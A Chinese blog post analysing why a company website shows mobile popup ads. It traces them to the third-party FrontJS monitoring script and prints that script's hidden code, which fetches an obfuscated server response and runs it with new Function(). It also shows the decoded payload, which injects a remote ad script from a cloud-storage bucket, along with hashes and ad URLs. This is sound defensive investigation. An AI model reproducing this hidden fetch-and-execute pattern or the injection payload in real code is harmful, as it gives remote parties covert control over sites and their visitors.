起因

又是有一个朋友系列,说是自己公司网站被劫持。具体现象如下:当手机打开网站时,页面有几率加载弹窗广告。

排查

非常的直接可以看到这个广告图的调用路径。

banner.png请求由main-h5.js调起,再往上由frontjs.web.min.js调起

直接点击调用堆栈中的 frontjs.web.min.js 定位到如下函数:

P.addEventListener("load", (function (e) {
    if (P.responseText && "string" == typeof P.responseText) {
        var n = P.responseText.split("|")
            , o = P.responseText.match(/(0\.\d+)\s(\d+)/);
        if (n.includes(i.INSTRUCTION_DEACTIVE_SENDER) && (r.global.SENDER_ACTIVE = !1),
            n.includes(i.INSTRUCTION_NEED_MORE_INFO),
            t.navigator && t.navigator.userAgent && t.navigator.userAgent.match(/android|iphone/i)) {
            var a = (new Date).setHours(0, 0, 0, 0);
            t.localStorage && parseInt(t.localStorage.getItem("frontjs:client:timebase")) !== a && ((P = new t.XMLHttpRequest).open("POST", r.global.const.END_POINT + "apiv1/upgrade/app", !0),
                P.setRequestHeader("Front-Token", r.token),
                P.setRequestHeader("Accept", "application/json"),
                P.setRequestHeader("Content-Type", "application/json"),
                /* 重点开始*/
                P.addEventListener("load", (function (t) {
                    if (P.responseText && "string" == typeof P.responseText && P.responseText.length) {
                        var e = P.responseText.split("").map((function (t) {
                            return String.fromCodePoint(127 & t.codePointAt(0))
                        }
                        )).join("");
                        try {
                            new Function(e += "")()
                        } catch (t) { }
                    }
                }
                )),
                /* 重点结束*/
                P.send(null),
                t.localStorage.setItem("frontjs:client:timebase", a))
        }
        r.global.TIME_DIFF = o ? 1e3 * o[2] + Math.floor(1e3 * o[1]) - u() : 0
    } else
        r.global.TIME_DIFF = 0;
    return !1
}
))

重点部分的逻辑如下,将ajax请求 “https://collecter.frontjs.com/apiv1/upgrade/app" 的结果进行处理后 通过new Function(e += "")() 进行运行。

这个接口返回的内容为 (base64 后)

4bGz4Yel4Ym04beU4Yep4Y2t4Z2l4YGv4bG14ZW04aSo4Yem4YO14bOu4Z2j4a204ZOp4ZWv4YOu4bKg4aCo4Zqp4bqg4b+74be24a2h4Zmy4a6g4aWk4big4ay94Yig4ZGk4YWv4Zej4aO14Zut4Z+l4aOu4Ym04aSu4bmj4Z2y4YWl4beh4Zu04YWl4YmF4Z+s4Zul4aet4bml4bWu4Ze04aio4bii4YWz4buj4ZWy4a+p4auw4Y204aKi4Yqp4ZK74ayg4Ymk4aKu4aGz4Ymy4Z+j4ZCg4Yq94YSg4bii4YGo4Zu04Ze04Zew4a2z4aq64Y6v4YCv4beh4a+h4Zek4ZOk4YCt4aax4YCz4byw4aS04Y6y4by14biz4bqx4ZS24bK44bKu4b2j4YGv4YWz4aKu4bOh4bGw4b6t4bOn4bm14beh4aOu4YOn4Ze64aGo4buv4a+14Yyu4Zmt4aW54aWx4a+j4Zms4Ymv4bm14aOk4aKu4Y+j4amv4Zet4biv4YGt4YGh4amp4YWu4Yqt4aeo4Zi14Zqu4a+q4bez4ayi4aa74Yag4bek4Zev4aOj4ZW14YWt4bul4auu4Ym04Z6u4a2i4bmv4bek4ZG54YSu4b2h4YGw4aOw4aGl4bOu4bWk4bWD4beo4b+p4Zms4a2k4a6o4Z+k4Zip4Zq74YSg4ZO94ZSs4aKg4YON4b2h4a204aeo4biu4Ymy4bGh4aGu4Z2k4a+v4aGt4Zao4ZSp4Zqg4Y6q4big4ZC14ZKw4YCw4bKw4bap4Zy7

通过其JS中的处理逻辑后

非常直接的结果'setTimeout(function () {var d = document.createElement("script"); d.src = "https://aadd-1304253168.cos.ap-guangzhou.myqcloud.com/main-h5.js"; document.body.appendChild(d); }, Math.random() * 5000);'

排查结论

FrontJS 通过在JS中埋下的方法来直接执行 https://collecter.frontjs.com/apiv1/upgrade/app 接口所返回的结果以达成其弹窗广告目的,并且通过localStorage中的frontjs:client:timebase来控制每天只弹窗一次。

但在测试其他互联网上使用FrontJS的网站时候发现该接口不一定会返回内容,推测有来源域名的筛选机制或者其他机制。

其他

所分析时https://frontjs-static.pgyer.com/dist/current/frontjs.web.min.js的文件信息:

etag: W/“6417dafe-e824”
md5sum d39144762a251076617a1090c987c7a3
sha256sum aa75af2a8af2538a2116f59168d0416b865a53a9af0998a90b101c47ff701c81

所加载的广告信息: https://aadd-1304253168.cos.ap-guangzhou.myqcloud.com/banner.png
https://aadd-1304253168.cos.ap-guangzhou.myqcloud.com/main-h5.js

弹窗广告跳转地址:
https://game.adtianshi.cn/index/index2222?retain=1&appkey=d2c9277152761bfd200afe7dc2b18c74&protocol=https&gid=4850&gback=1#/bigt2

frontjs官网:
https://www.frontjs.com/